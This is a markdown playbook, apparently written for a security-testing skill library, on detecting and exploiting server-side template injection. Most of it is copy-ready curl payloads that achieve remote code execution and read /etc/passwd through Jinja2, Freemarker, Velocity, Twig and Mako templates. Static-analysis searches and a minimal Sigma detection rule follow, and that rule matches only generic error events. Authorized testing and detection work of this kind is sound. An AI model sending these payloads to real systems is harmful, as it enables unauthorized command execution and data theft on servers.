<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: detecting-server-side-template-injection
description: >-
  Detect and exploit server-side template injection (SSTI) in Jinja2,
  Twig, Freemarker, Velocity, Mako, Pebble, and Smarty template engines
  leading to remote code execution and data exfiltration.
domain: cybersecurity
subdomain: application-security
tags:
  - ssti
  - template-injection
  - jinja2
  - twig
  - freemarker
  - owasp-a03
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1059"]
  owasp-top10: ["A03"]
  tools: ["tplmap", "burp-suite", "curl", "semgrep"]
---

# Detecting Server Side Template Injection

## Overview

Server-side template injection occurs when user input is embedded into
template expressions without sanitization. Depending on the engine, SSTI
can lead to remote code execution, file read, or server-side request forgery.

## Prerequisites

- Tools: ["tplmap", "burp-suite", "curl", "semgrep"]
- Authorized testing engagement with written scope
- Target application access and credentials

## Workflow

### Step 1: SSTI Detection

```bash
# Universal SSTI detection polyglot
curl -s "https://target.com/page?name={{7*7}}"
curl -s "https://target.com/page?name={{7*'7'}}"
curl -s "https://target.com/page?name=<%= 7*7 %>"
curl -s "https://target.com/page?name=${7*7}"
curl -s "https://target.com/page?name=${{7*7}}"

# Expected responses if vulnerable:
# {{7*7}} → 49 (Jinja2, Twig)
# {{7*'7'}} → 7777777 (Jinja2) vs 49 (Twig)
# <%= 7*7 %> → 49 (ERB)
# ${7*7} → 49 (Freemarker, Velocity)

# Automated detection with tplmap
tplmap -u "https://target.com/page?name=test"
```

### Step 2: Jinja2 Exploitation

```bash
# Jinja2 RCE via MRO chain
curl -s "https://target.com/page?name={{config.__class__.__init__.__globals__[%27os%27].popen(%27id%27).read()}}"

# Jinja2 file read
curl -s "https://target.com/page?name={{().__class__.__bases__[0].__subclasses__()[40](%27/etc/passwd%27).read()}}"

# Jinja2 shorter payload
curl -s "https://target.com/page?name={{lipsum.__globals__.os.popen(%27id%27).read()}}"
```

### Step 3: Other Template Engines

```bash
# Freemarker RCE
curl -s "https://target.com/page?name=<#assign ex="freemarker.template.utility.Execute"?new()>\${ex("id")}"

# Velocity RCE
curl -s "https://target.com/page?name=#set(\$x=\'\')#set(\$rt=\$x.class.forName(\'java.lang.Runtime\'))#set(\$chr=\$x.class.forName(\'java.lang.Character\'))#set(\$str=\$x.class.forName(\'java.lang.String\'))#set(\$ex=\$rt.getRuntime().exec(\'id\'))"

# Twig RCE
curl -s "https://target.com/page?name={{[\'id\']|filter(\'system\')}}"

# Mako RCE
curl -s "https://target.com/page?name=<%import os;x=os.popen(\'id\').read()%>${x}"
```

### Step 4: Static Analysis for SSTI

```bash
# Semgrep SSTI rules
semgrep --config=p/owasp-top-ten src/ | grep -i template

# Find template rendering with user input
rg -n "render_template_string|Template\(.*request|render.*\+.*request" src/
rg -n "Environment\(.*\)|from_string\(" src/
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Template syntax in input | WAF | {{ }} or ${ } patterns in parameters |
| Template errors | App logs | Template syntax errors from injection attempts |
| MRO chain access | RASP | Access to __class__, __globals__, __subclasses__ |

```yaml
title: Server Side Template Injection Detection
id: 751e20bf-cb15-455f-94b4-9a7da05bdf99
status: experimental
description: Detects suspicious activity related to detecting server side template injection techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1190
  - attack.t1059
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] All relevant attack vectors tested
- [ ] Findings documented with severity and evidence
- [ ] Detection artifacts identified
- [ ] Remediation recommendations provided

## References

- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
- [MITRE ATT&CK](https://attack.mitre.org/)
